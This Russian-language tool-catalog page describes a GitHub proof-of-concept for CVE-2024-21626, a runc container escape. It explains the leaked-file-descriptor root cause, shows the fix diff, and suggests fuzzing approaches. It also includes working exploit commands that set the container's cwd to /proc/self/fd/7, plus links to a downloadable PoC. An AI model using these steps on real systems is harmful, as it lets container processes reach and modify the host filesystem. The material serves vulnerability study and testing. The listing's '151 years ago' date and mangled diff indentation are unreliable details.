Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21626-PoC — Корневая причина и доказательство кода | Kitploit
Инструменты/GitHubGitHub/r4mbb/cve-2024-21626-poc
Анализ уязвимостейЭксплуатацияФаззингТестирование на ПроникновениеПобег из КонтейнераЭксплуатация Бинарных Файлов
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Корневая причина и доказательство кода

Репозиторий
151 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21626

Корневая причина & Proof Of Code

Как использовать poc-autoplay?

make install

make uninstall

1. Корневая причина

  • Уязвимость возникает из-за того, что в runc версии v1.1.11 и ниже при открытии каталога /sys/fs/cgroup хоста для настройки cgroup этот файловый дескриптор не закрывается в процессе инициализации контейнера.
  1. На этапе runc init через /sys/fs/cgroup хоста получается /proc/{PID}/fd/7.
  2. Не закрывая этот fd, выполняется fork/exec для PID 1 контейнера.
  3. В spec runc или в опции runc exec —cwd рабочий каталог (cwd) задаётся как контролируемый атакующим путь, например, полученный выше /proc/self/fd/7/.
  4. После chdir cwd процесса PID 1 оказывается за пределами rootfs контейнера.
  5. Подтверждается, что процессы внутри контейнера получают доступ к файловой системе хоста и могут изменять её, что приводит к container escape.
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
       "net"
       "os"
       +    "path/filepath"
       "runtime"
       "runtime/debug"
       "strconv"
       @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
       return nil
       }

       +// verifyCwd ensures that the current working directory is still inside
       +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
        // it indicates the cwd is outside the container.
        // See CVE-2024-21626.
       +func verifyCwd() error {
       +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
       +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
       +   } else if err != nil {
       +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
       +   } else if !filepath.IsAbs(wd) {
           +       // Sanity check: cwd should always be absolute
               +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
               +   }
       +   return nil
           +}

           @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
               if err := system.ClearKeepCaps(); err != nil {
                   return fmt.Errorf("unable to clear keep caps: %w", err)
               }
               +    // After chdir to config.Cwd, ensure it’s still inside the container
                   +    if err := verifyCwd(); err != nil {
                       +        return err
                           +    }
               return nil
           }
  • Сразу после chdir была добавлена логика проверки cwd.
  • В libcontainer/init_linux.go добавлена функция verifyCwd(), которая после chdir проверяет, находится ли cwd по-прежнему внутри контейнера, и определяет, нужно ли возвращать ошибку.
  • Добавлена логика закрытия всех утёкших файловых дескрипторов.
  • Перед финальным execve закрываются все внутренние fd, чтобы fd хоста не оставались в процессах контейнера.

2. Proof of Concept

  • Окружение
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Эксплуатация через сам runc
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Запуск с локального пути / внутри Docker.

  • При создании контейнера рабочий каталог должен быть установлен на конкретный файловый дескриптор. Когда открытый fd хоста и fd внутри контейнера связываются, становится возможен docker escape.

  • PoC-файл -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. Как можно фаззить эту уязвимость?

  • Способ запуска go-fuzz против уязвимого бинарника runc.
  • Можно подавать случайный OCI config в качестве входных данных для части обработки chdir(config.Cwd) внутри уязвимой функции finalizeNamespace().
  • Таким способом, вероятно, стоит анализировать обработку исключений или места краша при работе с относительными путями в cwd после chdir.
  • Способ запуска AFL++ против бинарника уязвимой версии runc.
  • Это фаззинг OCI spec JSON и аргументов CLI runc.
  • Вероятно, стоит анализировать краши, возникающие в точке chdir, нацелившись на часть cwd в OCI spec JSON.
Скачать инструмент